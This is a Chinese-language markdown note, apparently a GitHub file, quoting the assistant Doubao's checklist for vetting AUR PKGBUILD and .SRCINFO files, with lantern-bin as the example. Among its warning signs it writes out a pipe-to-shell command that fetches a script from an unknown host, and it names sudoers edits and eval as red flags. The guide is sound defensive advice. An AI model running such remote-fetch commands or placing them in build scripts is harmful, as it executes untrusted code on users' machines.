Skip to content

Latest commit

 

History

History
87 lines (66 loc) · 4.47 KB

File metadata and controls

87 lines (66 loc) · 4.47 KB

安装 AUR 包的注意事项 - TueAug5 2025

豆包真好用(看看以后完全记住了就按自己的理解重写一次)

豆包的原始回答

在安装AUR包时检查文件的核心目的是避免恶意代码、不必要的系统修改或安全风险,即使只有PKGBUILD.SRCINFO,也有明确的检查重点。以下是具体的检查方向(本文以 lantern-bin 为例):

一、先明确两个文件的作用

  • PKGBUILD:核心脚本,定义了包的来源、依赖、构建步骤、安装逻辑等,是检查的重点。
  • .SRCINFO:由PKGBUILD自动生成的元数据(版本、依赖等摘要),主要用于核对与PKGBUILD是否一致(防止被篡改)。

二、重点检查PKGBUILD的关键部分

即使看不懂所有参数,抓住以下核心点即可:

1. 基本信息是否合理

pkgname=lantern-bin  # 包名是否和你要装的一致
pkgver=6.0.0  # 版本是否是你预期的(比如官网最新版)
pkgrel=1      # 修订号,一般不影响
pkgdesc="..." # 描述是否和软件功能匹配,有没有奇怪的内容
arch=("x86_64")  # 架构是否适合你的系统(比如你是64位就看x86_64)

2. 依赖是否“干净”

dependsmakedepends数组,比如:

depends=("glibc" "gcc-libs")  # 依赖是否是系统基础库或软件的必要依赖
makedepends=("unzip")         # 构建时需要的工具,是否合理

警惕:如果依赖里出现你不认识的、非必要的包(比如奇怪的“xxx-monitor”“xxx-collector”),可能有风险。

3. 源代码/二进制来源是否可信

source数组定义了软件的下载地址(lantern-bin是预编译二进制,所以这里是二进制文件的来源):

source=("lantern-${pkgver}.tar.gz::https://github.com/getlantern/lantern/releases/download/v${pkgver}/lantern-linux-amd64-${pkgver}.tar.gz")

检查

  • 链接是否是官方域名(比如github.com/getlantern是 lantern 官方仓库,可信;如果是xxx未知域名.com则危险)。
  • 是否有奇怪的参数(比如带&track=xxx的追踪链接可能没问题,但如果是http://恶意域名/xxx则直接放弃)。

4. 校验和是否存在(防止文件被篡改)

sha256sums(或md5sums)是文件的校验码,用于验证下载的文件是否和作者提供的一致:

sha256sums=("abc123...")  # 一串哈希值

检查

  • 不要出现sha256sums=("SKIP")(如果有,意味着不校验文件完整性,风险极高)。
  • 可以手动去官方下载地址获取校验码,对比是否和这里一致(比如官网 release 页通常会提供)。

5. 安装逻辑是否“规矩”

package()函数(定义软件如何安装到系统):

package() {
  # 正常逻辑:复制二进制到/usr/bin,配置文件到/etc等
  install -Dm755 "lantern" "${pkgdir}/usr/bin/lantern"
  install -Dm644 "lantern.desktop" "${pkgdir}/usr/share/applications/lantern.desktop"
}

警惕

  • 有没有执行奇怪的命令:比如wget http://未知地址/脚本.sh | sh(远程执行脚本,可能藏恶意代码)。
  • 有没有修改系统关键文件:比如往/etc/sudoers/etc/passwd写内容,或者删除/tmp以外的系统文件。
  • 有没有往非标准目录写文件:正常软件只会安装到/usr//opt/等目录,不会往/root//boot/写东西(特殊软件除外,比如启动项工具,但需要确认必要性)。

6. 其他危险信号

  • 有没有post_install(安装后脚本)里执行可疑操作(比如添加定时任务、启动未知服务)。
  • 有没有隐藏的变量或命令(比如用evalbash -c执行拼接的字符串,可能藏恶意代码)。

三、.SRCINFO 简单核对

cat .SRCINFO查看,主要核对:

  • pkgverpkgname是否和PKGBUILD一致。
  • depends列表是否和PKGBUILD一致(防止PKGBUILD被改但.SRCINFO没更新)。

总结:新手快速判断原则

  1. 来源是否是官方域名(GitHub、GitLab官方仓库、软件官网)。
  2. 依赖是否都是常见基础库(比如glibcqt5等)。
  3. 安装步骤是否只复制文件到标准目录,没有奇怪的脚本执行。
  4. 有校验和(不是SKIP)。

如果以上都符合,基本可以放心安装;如果有任何一项存疑,建议放弃(或去AUR页面看其他用户评论,是否有人反馈问题)。